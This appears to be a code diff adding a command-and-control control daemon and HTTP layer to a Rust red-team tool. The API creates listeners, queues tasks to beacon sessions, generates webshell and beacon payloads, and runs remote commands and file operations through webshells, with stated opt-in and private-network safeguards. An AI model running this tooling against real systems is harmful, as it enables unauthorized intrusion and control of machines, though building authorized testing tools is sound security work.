.timeout(Duration::from_secs(120))
|
||||
.build()
|
||||
.map_err(|e| e.to_string())?;
|
||||
let url = format!("http://127.0.0.1:{port}{path}");
|
||||
let mut req = match method {
|
||||
"GET" => client.get(url),
|
||||
"POST" => client.post(url),
|
||||
"PUT" => client.put(url),
|
||||
"DELETE" => client.delete(url),
|
||||
_ => client.get(url),
|
||||
}
|
||||
.header("X-Control-Token", &token);
|
||||
if let Some(b) = body {
|
||||
req = req.json(&b);
|
||||
}
|
||||
let resp = req
|
||||
.send()
|
||||
.await
|
||||
.map_err(|e| format!("control daemon: {e}"))?;
|
||||
let status = resp.status();
|
||||
let v: Value = resp
|
||||
.json()
|
||||
.await
|
||||
.map_err(|e| format!("control daemon response: {e}"))?;
|
||||
if !status.is_success() {
|
||||
let msg = v
|
||||
.get("error")
|
||||
.and_then(|e| e.as_str())
|
||||
.unwrap_or("request failed");
|
||||
return Err(msg.to_string());
|
||||
}
|
||||
Ok(v)
|
||||
}
|
||||
@@ -0,0 +1,515 @@
|
||||
use std::path::PathBuf;
|
||||
use std::sync::Arc;
|
||||
use std::time::Duration;
|
||||
|
||||
use serde::{Deserialize, Serialize};
|
||||
use serde_json::json;
|
||||
use tokio::net::TcpListener;
|
||||
|
||||
use super::http::{serve_http, BoxFut, HttpRequest, HttpResponse};
|
||||
use super::manager::C2Manager;
|
||||
use super::store::write_private;
|
||||
use super::types::{Session, Task};
|
||||
use super::{now_ms, random_token};
|
||||
|
||||
#[derive(Serialize, Deserialize)]
|
||||
struct ControlInfo {
|
||||
port: u16,
|
||||
token: String,
|
||||
pid: u32,
|
||||
started_at: i64,
|
||||
}
|
||||
|
||||
/// Run the local control daemon. The CLI starts this automatically on demand.
|
||||
pub async fn run_daemon(dir: PathBuf, port: u16) -> anyhow::Result<()> {
|
||||
let manager = C2Manager::open(dir.clone()).await?;
|
||||
manager.restore_listeners().await;
|
||||
let tcp = TcpListener::bind(("127.0.0.1", port)).await?;
|
||||
let addr = tcp.local_addr()?;
|
||||
let token = random_token();
|
||||
let info = ControlInfo {
|
||||
port: addr.port(),
|
||||
token: token.clone(),
|
||||
pid: std::process::id(),
|
||||
started_at: now_ms(),
|
||||
};
|
||||
write_private(
|
||||
&dir.join("control.json"),
|
||||
&serde_json::to_vec_pretty(&info)?,
|
||||
)?;
|
||||
eprintln!(
|
||||
"[c2] control daemon listening on 127.0.0.1:{} (dir {})",
|
||||
addr.port(),
|
||||
dir.display()
|
||||
);
|
||||
|
||||
let handler: Arc<dyn Fn(HttpRequest) -> BoxFut + Send + Sync> = {
|
||||
let mgr = manager.clone();
|
||||
let token = token.clone();
|
||||
Arc::new(move |req: HttpRequest| {
|
||||
let mgr = mgr.clone();
|
||||
let token = token.clone();
|
||||
Box::pin(async move { handle_control(mgr, &token, req).await }) as BoxFut
|
||||
})
|
||||
};
|
||||
serve_http(tcp, handler).await?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn handle_control(mgr: Arc<C2Manager>, token: &str, req: HttpRequest) -> HttpResponse {
|
||||
let path = req.path.trim_end_matches('/');
|
||||
if path == "/health" {
|
||||
return HttpResponse::json(
|
||||
200,
|
||||
&json!({"ok": true, "service": "neurosploit-c2", "pid": std::process::id()}),
|
||||
);
|
||||
}
|
||||
let provided = req
|
||||
.header("x-control-token")
|
||||
.or_else(|| {
|
||||
req.header("authorization")
|
||||
.and_then(|v| v.strip_prefix("Bearer "))
|
||||
})
|
||||
.unwrap_or("");
|
||||
if provided != token {
|
||||
return HttpResponse::json(401, &json!({"ok": false, "error": "invalid control token"}));
|
||||
}
|
||||
mgr.reconcile().await;
|
||||
|
||||
let segs: Vec<&str> = path
|
||||
.trim_start_matches('/')
|
||||
.split('/')
|
||||
.filter(|s| !s.is_empty())
|
||||
.collect();
|
||||
let method = req.method.as_str();
|
||||
|
||||
if method == "GET" && path == "/api/status" {
|
||||
let state = mgr.snapshot().await;
|
||||
return HttpResponse::json(
|
||||
200,
|
||||
&json!({
|
||||
"ok": true,
|
||||
"policy": state.policy,
|
||||
"listeners": state.listeners.iter().map(|l| l.safe()).collect::<Vec<_>>(),
|
||||
"sessions": state.sessions,
|
||||
"webshells": state.webshells.iter().map(|w| w.safe()).collect::<Vec<_>>(),
|
||||
"tasks": state.tasks,
|
||||
"events": state.events.iter().rev().take(100).cloned().collect::<Vec<_>>(),
|
||||
"payloads": state.payloads,
|
||||
"counts": {
|
||||
"listeners": state.listeners.len(),
|
||||
"sessions_active": state.sessions.iter().filter(|s| s.status == "active").count(),
|
||||
"sessions_total": state.sessions.len(),
|
||||
"tasks_queued": state.tasks.iter().filter(|t| t.status == "queued" || t.status == "sent").count(),
|
||||
"webshells": state.webshells.len(),
|
||||
},
|
||||
}),
|
||||
);
|
||||
}
|
||||
|
||||
if path == "/api/policy" && (method == "POST" || method == "PUT") {
|
||||
let body = req.json().unwrap_or_else(|| json!({}));
|
||||
return match mgr.set_policy(&body).await {
|
||||
Ok(p) => HttpResponse::json(200, &json!({"ok": true, "policy": p})),
|
||||
Err(e) => HttpResponse::json(400, &json!({"ok": false, "error": e})),
|
||||
};
|
||||
}
|
||||
if path == "/api/enable" && method == "POST" {
|
||||
let b = req.json().unwrap_or_else(|| json!({}));
|
||||
let auth = b
|
||||
.get("authorization")
|
||||
.and_then(|v| v.as_str())
|
||||
.unwrap_or("");
|
||||
let hosts: Vec<String> = b
|
||||
.get("hosts")
|
||||
.or_else(|| b.get("allowed_hosts"))
|
||||
.and_then(|v| v.as_array())
|
||||
.map(|a| {
|
||||
a.iter()
|
||||
.filter_map(|v| v.as_str())
|
||||
.map(|s| s.to_string())
|
||||
.collect()
|
||||
})
|
||||
.unwrap_or_default();
|
||||
return match mgr
|
||||
.enable_policy(
|
||||
auth,
|
||||
b.get("persistence").and_then(|v| v.as_bool()).unwrap_or(false),
|
||||
b.get("lateral").and_then(|v| v.as_bool()).unwrap_or(false),
|
||||
b.get("allow_public").and_then(|v| v.as_bool()).unwrap_or(false),
|
||||
&hosts,
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(p) => HttpResponse::json(200, &json!({"ok": true, "policy": p})),
|
||||
Err(e) => HttpResponse::json(400, &json!({"ok": false, "error": e})),
|
||||
};
|
||||
}
|
||||
if path == "/api/disable" && method == "POST" {
|
||||
let p = mgr.disable().await;
|
||||
return HttpResponse::json(200, &json!({"ok": true, "policy": p}));
|
||||
}
|
||||
|
||||
if segs.starts_with(&["api", "listeners"]) {
|
||||
return handle_listeners(&mgr, &segs, method, &req).await;
|
||||
}
|
||||
if segs.starts_with(&["api", "sessions"]) {
|
||||
return handle_sessions(&mgr, &segs, method, &req).await;
|
||||
}
|
||||
if segs.starts_with(&["api", "tasks"]) {
|
||||
return handle_tasks(&mgr, &segs, method, &req).await;
|
||||
}
|
||||
if segs.starts_with(&["api", "events"]) && method == "GET" {
|
||||
let limit = req
|
||||
.query
|
||||
.get("limit")
|
||||
.and_then(|v| v.parse::<usize>().ok())
|
||||
.unwrap_or(100);
|
||||
let ev = mgr.events(limit).await;
|
||||
return HttpResponse::json(200, &json!({"ok": true, "events": ev}));
|
||||
}
|
||||
if segs.starts_with(&["api", "payloads"]) {
|
||||
return handle_payloads(&mgr, &segs, method, &req).await;
|
||||
}
|
||||
if segs.starts_with(&["api", "webshells"]) {
|
||||
return handle_webshells(&mgr, &segs, method, &req).await;
|
||||
}
|
||||
HttpResponse::json(404, &json!({"ok": false, "error": "not found"}))
|
||||
}
|
||||
|
||||
async fn handle_listeners(
|
||||
mgr: &Arc<C2Manager>,
|
||||
segs: &[&str],
|
||||
method: &str,
|
||||
req: &HttpRequest,
|
||||
) -> HttpResponse {
|
||||
match (method, segs.len()) {
|
||||
("GET", 2) => {
|
||||
let state = mgr.snapshot().await;
|
||||
HttpResponse::json(
|
||||
200,
|
||||
&json!({"ok": true, "listeners": state.listeners.iter().map(|l| l.safe()).collect::<Vec<_>>()}),
|
||||
)
|
||||
}
|
||||
("POST", 2) => {
|
||||
let b = req.json().unwrap_or_else(|| json!({}));
|
||||
let s = |k: &str| b.get(k).and_then(|v| v.as_str()).unwrap_or("");
|
||||
match mgr
|
||||
.create_listener(
|
||||
s("name"),
|
||||
s("bind_host"),
|
||||
b.get("bind_port").and_then(|v| v.as_u64()).unwrap_or(8443) as u16,
|
||||
s("callback_host"),
|
||||
b.get("sleep_seconds").and_then(|v| v.as_u64()).unwrap_or(5) as u32,
|
||||
b.get("jitter_percent").and_then(|v| v.as_u64()).unwrap_or(0) as u32,
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(l) => HttpResponse::json(200, &json!({"ok": true, "listener": l})),
|
||||
Err(e) => HttpResponse::json(400, &json!({"ok": false, "error": e})),
|
||||
}
|
||||
}
|
||||
("POST", 4) if segs[3] == "start" => match mgr.start_listener(segs[2]).await {
|
||||
Ok(l) => HttpResponse::json(200, &json!({"ok": true, "listener": l})),
|
||||
Err(e) => HttpResponse::json(409, &json!({"ok": false, "error": e})),
|
||||
},
|
||||
("POST", 4) if segs[3] == "stop" => match mgr.stop_listener(segs[2]).await {
|
||||
Ok(()) => HttpResponse::json(200, &json!({"ok": true})),
|
||||
Err(e) => HttpResponse::json(409, &json!({"ok": false, "error": e})),
|
||||
},
|
||||
("DELETE", 3) => match mgr.delete_listener(segs[2]).await {
|
||||
Ok(()) => HttpResponse::json(200, &json!({"ok": true})),
|
||||
Err(e) => HttpResponse::json(404, &json!({"ok": false, "error": e})),
|
||||
},
|
||||
_ => HttpResponse::json(405, &json!({"ok": false, "error": "method not allowed"})),
|
||||
}
|
||||
}
|
||||
|
||||
async fn handle_sessions(
|
||||
mgr: &Arc<C2Manager>,
|
||||
segs: &[&str],
|
||||
method: &str,
|
||||
req: &HttpRequest,
|
||||
) -> HttpResponse {
|
||||
match (method, segs.len()) {
|
||||
("GET", 2) => {
|
||||
let state = mgr.snapshot().await;
|
||||
HttpResponse::json(200, &json!({"ok": true, "sessions": state.sessions}))
|
||||
}
|
||||
("GET", 3) => match state_session(mgr, segs[2]).await {
|
||||
Some(s) => HttpResponse::json(200, &json!({"ok": true, "session": s})),
|
||||
None => HttpResponse::json(404, &json!({"ok": false, "error": "session not found"})),
|
||||
},
|
||||
("POST", 4) if segs[3] == "sleep" => {
|
||||
let b = req.json().unwrap_or_else(|| json!({}));
|
||||
let secs = b.get("seconds").and_then(|v| v.as_u64()).unwrap_or(5) as u32;
|
||||
let jitter = b.get("jitter").and_then(|v| v.as_u64()).unwrap_or(0) as u32;
|
||||
match mgr.set_session_sleep(segs[2], secs, jitter).await {
|
||||
Ok(t) => HttpResponse::json(200, &json!({"ok": true, "task": t})),
|
||||
Err(e) => HttpResponse::json(400, &json!({"ok": false, "error": e})),
|
||||
}
|
||||
}
|
||||
("POST", 4) if segs[3] == "note" => {
|
||||
let b = req.json().unwrap_or_else(|| json!({}));
|
||||
let note = b.get("note").and_then(|v| v.as_str()).unwrap_or("");
|
||||
match mgr.set_session_note(segs[2], note).await {
|
||||
Ok(()) => HttpResponse::json(200, &json!({"ok": true})),
|
||||
Err(e) => HttpResponse::json(404, &json!({"ok": false, "error": e})),
|
||||
}
|
||||
}
|
||||
("POST", 4) if segs[3] == "tasks" => {
|
||||
let b = req.json().unwrap_or_else(|| json!({}));
|
||||
let task_type = b
|
||||
.get("task_type")
|
||||
.and_then(|v| v.as_str())
|
||||
.unwrap_or("exec");
|
||||
let payload = b.get("payload").cloned().unwrap_or_else(|| json!({}));
|
||||
match mgr.enqueue(segs[2], task_type, payload, "web").await {
|
||||
Ok(t) => HttpResponse::json(200, &json!({"ok": true, "task": t})),
|
||||
Err(e) => HttpResponse::json(400, &json!({"ok": false, "error": e})),
|
||||
}
|
||||
}
|
||||
("DELETE", 3) => match mgr.kill_session(segs[2]).await {
|
||||
Ok(()) => HttpResponse::json(200, &json!({"ok": true})),
|
||||
Err(e) => HttpResponse::json(404, &json!({"ok": false, "error": e})),
|
||||
},
|
||||
_ => HttpResponse::json(405, &json!({"ok": false, "error": "method not allowed"})),
|
||||
}
|
||||
}
|
||||
|
||||
async fn state_session(mgr: &Arc<C2Manager>, id: &str) -> Option<Session> {
|
||||
mgr.snapshot()
|
||||
.await
|
||||
.sessions
|
||||
.into_iter()
|
||||
.find(|s| s.id == id)
|
||||
}
|
||||
|
||||
async fn handle_tasks(
|
||||
mgr: &Arc<C2Manager>,
|
||||
segs: &[&str],
|
||||
method: &str,
|
||||
req: &HttpRequest,
|
||||
) -> HttpResponse {
|
||||
match (method, segs.len()) {
|
||||
("GET", 2) => {
|
||||
let state = mgr.snapshot().await;
|
||||
let session = req.query.get("session_id").cloned().unwrap_or_default();
|
||||
let status = req.query.get("status").cloned().unwrap_or_default();
|
||||
let tasks: Vec<Task> = state
|
||||
.tasks
|
||||
.into_iter()
|
||||
.filter(|t| {
|
||||
(session.is_empty() || t.session_id == session)
|
||||
&& (status.is_empty() || t.status == status)
|
||||
})
|
||||
.collect();
|
||||
HttpResponse::json(200, &json!({"ok": true, "tasks": tasks}))
|
||||
}
|
||||
("POST", 2) => {
|
||||
let b = req.json().unwrap_or_else(|| json!({}));
|
||||
let session = b
|
||||
.get("session_id")
|
||||
.and_then(|v| v.as_str())
|
||||
.unwrap_or("");
|
||||
let task_type = b
|
||||
.get("task_type")
|
||||
.and_then(|v| v.as_str())
|
||||
.unwrap_or("exec");
|
||||
let payload = b.get("payload").cloned().unwrap_or_else(|| json!({}));
|
||||
let source = b.get("source").and_then(|v| v.as_str()).unwrap_or("web");
|
||||
match mgr.enqueue(session, task_type, payload, source).await {
|
||||
Ok(t) => HttpResponse::json(200, &json!({"ok": true, "task": t})),
|
||||
Err(e) => HttpResponse::json(400, &json!({"ok": false, "error": e})),
|
||||
}
|
||||
}
|
||||
("GET", 3) => match mgr.task(segs[2]).await {
|
||||
Some(t) => HttpResponse::json(200, &json!({"ok": true, "task": t})),
|
||||
None => HttpResponse::json(404, &json!({"ok": false, "error": "task not found"})),
|
||||
},
|
||||
("POST", 4) if segs[3] == "cancel" => match mgr.cancel_task(segs[2]).await {
|
||||
Ok(()) => HttpResponse::json(200, &json!({"ok": true})),
|
||||
Err(e) => HttpResponse::json(409, &json!({"ok": false, "error": e})),
|
||||
},
|
||||
("GET", 4) if segs[3] == "wait" => {
|
||||
let timeout = req
|
||||
.query
|
||||
.get("timeout")
|
||||
.and_then(|v| v.parse::<u64>().ok())
|
||||
.unwrap_or(60);
|
||||
match mgr
|
||||
.wait_task(segs[2], Duration::from_secs(timeout.min(900)))
|
||||
.await
|
||||
{
|
||||
Ok(t) => HttpResponse::json(200, &json!({"ok": true, "task": t})),
|
||||
Err(e) => HttpResponse::json(404, &json!({"ok": false, "error": e})),
|
||||
}
|
||||
}
|
||||
_ => HttpResponse::json(405, &json!({"ok": false, "error": "method not allowed"})),
|
||||
}
|
||||
}
|
||||
|
||||
async fn handle_payloads(
|
||||
mgr: &Arc<C2Manager>,
|
||||
segs: &[&str],
|
||||
method: &str,
|
||||
req: &HttpRequest,
|
||||
) -> HttpResponse {
|
||||
if method == "GET" && segs.len() == 2 {
|
||||
let state = mgr.snapshot().await;
|
||||
return HttpResponse::json(200, &json!({"ok": true, "payloads": state.payloads}));
|
||||
}
|
||||
if method == "GET" && segs.len() == 3 {
|
||||
return match mgr.payload_path(segs[2]) {
|
||||
Some(p) => match std::fs::read(&p) {
|
||||
Ok(bytes) => HttpResponse {
|
||||
status: 200,
|
||||
content_type: "application/octet-stream".into(),
|
||||
body: bytes,
|
||||
},
|
||||
Err(e) => HttpResponse::json(500, &json!({"ok": false, "error": e.to_string()})),
|
||||
},
|
||||
None => HttpResponse::json(404, &json!({"ok": false, "error": "payload not found"})),
|
||||
};
|
||||
}
|
||||
if method != "POST" || segs.len() != 3 {
|
||||
return HttpResponse::json(405, &json!({"ok": false, "error": "method not allowed"}));
|
||||
}
|
||||
let b = req.json().unwrap_or_else(|| json!({}));
|
||||
let s = |k: &str| b.get(k).and_then(|v| v.as_str());
|
||||
match segs[2] {
|
||||
"webshell" => match mgr
|
||||
.payload_webshell(
|
||||
s("shell_type").unwrap_or("php"),
|
||||
s("password").unwrap_or(""),
|
||||
s("pass_param").unwrap_or("pass"),
|
||||
s("cmd_param").unwrap_or("cmd"),
|
||||
s("filename"),
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(v) => HttpResponse::json(200, &v),
|
||||
Err(e) => HttpResponse::json(400, &json!({"ok": false, "error": e})),
|
||||
},
|
||||
"beacon" => {
|
||||
let Some(listener) = s("listener_id") else {
|
||||
return HttpResponse::json(
|
||||
400,
|
||||
&json!({"ok": false, "error": "listener_id is required"}),
|
||||
);
|
||||
};
|
||||
match mgr
|
||||
.payload_beacon(
|
||||
listener,
|
||||
s("kind").unwrap_or("bash"),
|
||||
s("host"),
|
||||
s("filename"),
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(v) => HttpResponse::json(200, &v),
|
||||
Err(e) => HttpResponse::json(400, &json!({"ok": false, "error": e})),
|
||||
}
|
||||
}
|
||||
"oneliner" => {
|
||||
let Some(listener) = s("listener_id") else {
|
||||
return HttpResponse::json(
|
||||
400,
|
||||
&json!({"ok": false, "error": "listener_id is required"}),
|
||||
);
|
||||
};
|
||||
match mgr.payload_oneliner(listener).await {
|
||||
Ok(v) => HttpResponse::json(200, &v),
|
||||
Err(e) => HttpResponse::json(400, &json!({"ok": false, "error": e})),
|
||||
}
|
||||
}
|
||||
other => HttpResponse::json(
|
||||
404,
|
||||
&json!({"ok": false, "error": format!("unknown payload kind '{other}'")}),
|
||||
),
|
||||
}
|
||||
}
|
||||
|
||||
async fn handle_webshells(
|
||||
mgr: &Arc<C2Manager>,
|
||||
segs: &[&str],
|
||||
method: &str,
|
||||
req: &HttpRequest,
|
||||
) -> HttpResponse {
|
||||
match (method, segs.len()) {
|
||||
("GET", 2) => {
|
||||
let state = mgr.snapshot().await;
|
||||
HttpResponse::json(
|
||||
200,
|
||||
&json!({"ok": true, "webshells": state.webshells.iter().map(|w| w.safe()).collect::<Vec<_>>()}),
|
||||
)
|
||||
}
|
||||
("POST", 2) => {
|
||||
let b = req.json().unwrap_or_else(|| json!({}));
|
||||
let s = |k: &str| b.get(k).and_then(|v| v.as_str()).unwrap_or("");
|
||||
match mgr
|
||||
.add_webshell(
|
||||
s("name"),
|
||||
s("url"),
|
||||
s("password"),
|
||||
s("shell_type"),
|
||||
s("method"),
|
||||
s("cmd_param"),
|
||||
s("pass_param"),
|
||||
s("encoding"),
|
||||
s("os"),
|
||||
s("note"),
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(c) => {
|
||||
HttpResponse::json(200, &json!({"ok": true, "webshell": c.safe()}))
|
||||
}
|
||||
Err(e) => HttpResponse::json(400, &json!({"ok": false, "error": e})),
|
||||
}
|
||||
}
|
||||
("PUT", 3) | ("PATCH", 3) => {
|
||||
let b = req.json().unwrap_or_else(|| json!({}));
|
||||
match mgr.update_webshell(segs[2], &b).await {
|
||||
Ok(c) => {
|
||||
HttpResponse::json(200, &json!({"ok": true, "webshell": c.safe()}))
|
||||
}
|
||||
Err(e) => HttpResponse::json(400, &json!({"ok": false, "error": e})),
|
||||
}
|
||||
}
|
||||
("DELETE", 3) => match mgr.delete_webshell(segs[2]).await {
|
||||
Ok(()) => HttpResponse::json(200, &json!({"ok": true})),
|
||||
Err(e) => HttpResponse::json(404, &json!({"ok": false, "error": e})),
|
||||
},
|
||||
("POST", 4) if segs[3] == "test" => match mgr.webshell_test(segs[2]).await {
|
||||
Ok(v) => HttpResponse::json(200, &v),
|
||||
Err(e) => HttpResponse::json(400, &json!({"ok": false, "error": e})),
|
||||
},
|
||||
("POST", 4) if segs[3] == "exec" => {
|
||||
let b = req.json().unwrap_or_else(|| json!({}));
|
||||
let cmd = b.get("command").and_then(|v| v.as_str()).unwrap_or("");
|
||||
match mgr.webshell_exec(segs[2], cmd).await {
|
||||
Ok(v) => HttpResponse::json(200, &v),
|
||||
Err(e) => HttpResponse::json(400, &json!({"ok": false, "error": e})),
|
||||
}
|
||||
}
|
||||
("POST", 4) if segs[3] == "file" => {
|
||||
let b = req.json().unwrap_or_else(|| json!({}));
|
||||
let s = |k: &str| b.get(k).and_then(|v| v.as_str());
|
||||
match mgr
|
||||
.webshell_file(
|
||||
segs[2],
|
||||
s("action").unwrap_or("list"),
|
||||
s("path").unwrap_or("."),
|
||||
s("content"),
|
||||
s("target_path"),
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(v) => HttpResponse::json(200, &v),
|
||||
Err(e) => HttpResponse::json(400, &json!({"ok": false, "error": e})),
|
||||
}
|
||||
}
|
||||
_ => HttpResponse::json(405, &json!({"ok": false, "error": "method not allowed"})),
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,265 @@
|
||||
use std::collections::BTreeMap;
|
||||
use std::future::Future;
|
||||
use std::pin::Pin;
|
||||
use std::sync::Arc;
|
||||
use std::time::Duration;
|
||||
|
||||
use serde_json::Value;
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::net::TcpListener;
|
||||
|
||||
use super::BODY_CAP;
|
||||
|
||||
pub(crate) struct HttpRequest {
|
||||
pub method: String,
|
||||
pub path: String,
|
||||
pub query: BTreeMap<String, String>,
|
||||
pub headers: BTreeMap<String, String>,
|
||||
pub body: Vec<u8>,
|
||||
}
|
||||
|
||||
impl HttpRequest {
|
||||
pub fn header(&self, name: &str) -> Option<&str> {
|
||||
self.headers
|
||||
.get(&name.to_ascii_lowercase())
|
||||
.map(|s| s.as_str())
|
||||
}
|
||||
|
||||
pub fn json(&self) -> Option<Value> {
|
||||
serde_json::from_slice(&self.body).ok()
|
||||
}
|
||||
|
||||
pub fn form(&self) -> BTreeMap<String, String> {
|
||||
let mut out = BTreeMap::new();
|
||||
for pair in String::from_utf8_lossy(&self.body).split('&') {
|
||||
if let Some((k, v)) = pair.split_once('=') {
|
||||
out.insert(percent_decode(k), percent_decode(v));
|
||||
}
|
||||
}
|
||||
out
|
||||
}
|
||||
}
|
||||
|
||||
pub(crate) struct HttpResponse {
|
||||
pub status: u16,
|
||||
pub content_type: String,
|
||||
pub body: Vec<u8>,
|
||||
}
|
||||
|
||||
impl HttpResponse {
|
||||
pub fn json(status: u16, v: &Value) -> Self {
|
||||
Self {
|
||||
status,
|
||||
content_type: "application/json".into(),
|
||||
body: serde_json::to_vec(v).unwrap_or_else(|_| b"{}".to_vec()),
|
||||
}
|
||||
}
|
||||
|
||||
pub fn text(status: u16, s: impl Into<String>) -> Self {
|
||||
Self {
|
||||
status,
|
||||
content_type: "text/plain; charset=utf-8".into(),
|
||||
body: s.into().into_bytes(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub(crate) type BoxFut = Pin<Box<dyn Future<Output = HttpResponse> + Send>>;
|
||||
|
||||
pub(crate) async fn serve_http(
|
||||
listener: TcpListener,
|
||||
handler: Arc<dyn Fn(HttpRequest) -> BoxFut + Send + Sync>,
|
||||
) -> std::io::Result<()> {
|
||||
loop {
|
||||
let (mut stream, _) = listener.accept().await?;
|
||||
let h = handler.clone();
|
||||
tokio::spawn(async move {
|
||||
match tokio::time::timeout(Duration::from_secs(30), read_request(&mut stream)).await {
|
||||
Ok(Ok(Some(req))) => {
|
||||
let resp = h(req).await;
|
||||
let _ = write_response(&mut stream, resp).await;
|
||||
}
|
||||
Ok(Ok(None)) => {}
|
||||
_ => {
|
||||
let _ = write_response(&mut stream, HttpResponse::text(400, "bad request"))
|
||||
.await;
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
async fn read_request(
|
||||
stream: &mut tokio::net::TcpStream,
|
||||
) -> std::io::Result<Option<HttpRequest>> {
|
||||
let mut buf: Vec<u8> = Vec::new();
|
||||
let mut tmp = [0u8; 8192];
|
||||
let header_end = loop {
|
||||
let n = stream.read(&mut tmp).await?;
|
||||
if n == 0 {
|
||||
if buf.is_empty() {
|
||||
return Ok(None);
|
||||
}
|
||||
return Err(std::io::Error::new(
|
||||
std::io::ErrorKind::UnexpectedEof,
|
||||
"incomplete request",
|
||||
));
|
||||
}
|
||||
buf.extend_from_slice(&tmp[..n]);
|
||||
if let Some(pos) = find_subslice(&buf, b"\r\n\r\n") {
|
||||
break pos;
|
||||
}
|
||||
if buf.len() > 64 * 1024 {
|
||||
return Err(std::io::Error::new(
|
||||
std::io::ErrorKind::InvalidData,
|
||||
"headers too large",
|
||||
));
|
||||
}
|
||||
};
|
||||
let head = String::from_utf8_lossy(&buf[..header_end]).to_string();
|
||||
let mut lines = head.split("\r\n");
|
||||
let request_line = lines.next().unwrap_or("");
|
||||
let mut parts = request_line.split_whitespace();
|
||||
let method = parts.next().unwrap_or("").to_ascii_uppercase();
|
||||
let target = parts.next().unwrap_or("/").to_string();
|
||||
if method.is_empty() {
|
||||
return Err(std::io::Error::new(
|
||||
std::io::ErrorKind::InvalidData,
|
||||
"bad request line",
|
||||
));
|
||||
}
|
||||
let (path, query) = match target.split_once('?') {
|
||||
Some((p, q)) => (p.to_string(), parse_query(q)),
|
||||
None => (target, BTreeMap::new()),
|
||||
};
|
||||
let mut headers = BTreeMap::new();
|
||||
for line in lines {
|
||||
if let Some((k, v)) = line.split_once(':') {
|
||||
headers.insert(k.trim().to_ascii_lowercase(), v.trim().to_string());
|
||||
}
|
||||
}
|
||||
if headers
|
||||
.get("transfer-encoding")
|
||||
.map(|v| v.to_ascii_lowercase().contains("chunked"))
|
||||
.unwrap_or(false)
|
||||
{
|
||||
return Err(std::io::Error::new(
|
||||
std::io::ErrorKind::InvalidData,
|
||||
"chunked body unsupported",
|
||||
));
|
||||
}
|
||||
let content_length = headers
|
||||
.get("content-length")
|
||||
.and_then(|v| v.parse::<usize>().ok())
|
||||
.unwrap_or(0);
|
||||
if content_length > BODY_CAP {
|
||||
return Err(std::io::Error::new(
|
||||
std::io::ErrorKind::InvalidData,
|
||||
"body too large",
|
||||
));
|
||||
}
|
||||
let mut body = buf[header_end + 4..].to_vec();
|
||||
while body.len() < content_length {
|
||||
let n = stream.read(&mut tmp).await?;
|
||||
if n == 0 {
|
||||
break;
|
||||
}
|
||||
body.extend_from_slice(&tmp[..n]);
|
||||
}
|
||||
body.truncate(content_length);
|
||||
Ok(Some(HttpRequest {
|
||||
method,
|
||||
path,
|
||||
query,
|
||||
headers,
|
||||
body,
|
||||
}))
|
||||
}
|
||||
|
||||
async fn write_response(
|
||||
stream: &mut tokio::net::TcpStream,
|
||||
resp: HttpResponse,
|
||||
) -> std::io::Result<()> {
|
||||
let reason = match resp.status {
|
||||
200 => "OK",
|
||||
201 => "Created",
|
||||
400 => "Bad Request",
|
||||
401 => "Unauthorized",
|
||||
403 => "Forbidden",
|
||||
404 => "Not Found",
|
||||
405 => "Method Not Allowed",
|
||||
409 => "Conflict",
|
||||
413 => "Payload Too Large",
|
||||
429 => "Too Many Requests",
|
||||
_ => "Internal Server Error",
|
||||
};
|
||||
let head = format!(
|
||||
"HTTP/1.1 {} {}\r\nContent-Type: {}\r\nContent-Length: {}\r\nConnection: close\r\nCache-Control: no-store\r\n\r\n",
|
||||
resp.status,
|
||||
reason,
|
||||
resp.content_type,
|
||||
resp.body.len()
|
||||
);
|
||||
stream.write_all(head.as_bytes()).await?;
|
||||
stream.write_all(&resp.body).await?;
|
||||
stream.flush().await
|
||||
}
|
||||
|
||||
fn find_subslice(haystack: &[u8], needle: &[u8]) -> Option<usize> {
|
||||
haystack.windows(needle.len()).position(|w| w == needle)
|
||||
}
|
||||
|
||||
fn parse_query(q: &str) -> BTreeMap<String, String> {
|
||||
let mut out = BTreeMap::new();
|
||||
for pair in q.split('&') {
|
||||
if pair.is_empty() {
|
||||
continue;
|
||||
}
|
||||
let (k, v) = pair.split_once('=').unwrap_or((pair, ""));
|
||||
out.insert(percent_decode(k), percent_decode(v));
|
||||
}
|
||||
out
|
||||
}
|
||||
|
||||
pub(crate) fn percent_decode(s: &str) -> String {
|
||||
let bytes = s.as_bytes();
|
||||
let mut out = Vec::with_capacity(bytes.len());
|
||||
let mut i = 0;
|
||||
while i < bytes.len() {
|
||||
match bytes[i] {
|
||||
b'+' => {
|
||||
out.push(b' ');
|
||||
i += 1;
|
||||
}
|
||||
b'%' if i + 2 < bytes.len() => {
|
||||
let hex = &s[i + 1..i + 3];
|
||||
if let Ok(v) = u8::from_str_radix(hex, 16) {
|
||||
out.push(v);
|
||||
i += 3;
|
||||
} else {
|
||||
out.push(bytes[i]);
|
||||
i += 1;
|
||||
}
|
||||
}
|
||||
b => {
|
||||
out.push(b);
|
||||
i += 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
String::from_utf8_lossy(&out).to_string()
|
||||
}
|
||||
|
||||
pub(crate) fn percent_encode(s: &str) -> String {
|
||||
let mut out = String::with_capacity(s.len());
|
||||
for b in s.bytes() {
|
||||
match b {
|
||||
b'A'..=b'Z' | b'a'..=b'z' | b'0'..=b'9' | b'-' | b'_' | b'.' | b'~' => {
|
||||
out.push(b as char)
|
||||
}
|
||||
b' ' => out.push('+'),
|
||||
_ => out.push_str(&format!("%{b:02X}")),
|
||||
}
|
||||
}
|
||||
out
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,217 @@
|
||||
//! Command & Control (C2) and WebShell management.
|
||||
//!
|
||||
//! Opt-in, auditable post-exploitation tooling for **authorized internal
|
||||
//! network engagements**, modelled on the C2 surface of CyberStrikeAI
|
||||
//! (listener → session → task → payload) and its WebShell manager (saved
|
||||
//! connections, command exec, file operations).
|
||||
//!
|
||||
//! Safety model:
|
||||
//! * disabled by default; enabling requires an authorization reference;
|
||||
//! * WebShell targets must resolve to private/loopback space unless the host
|
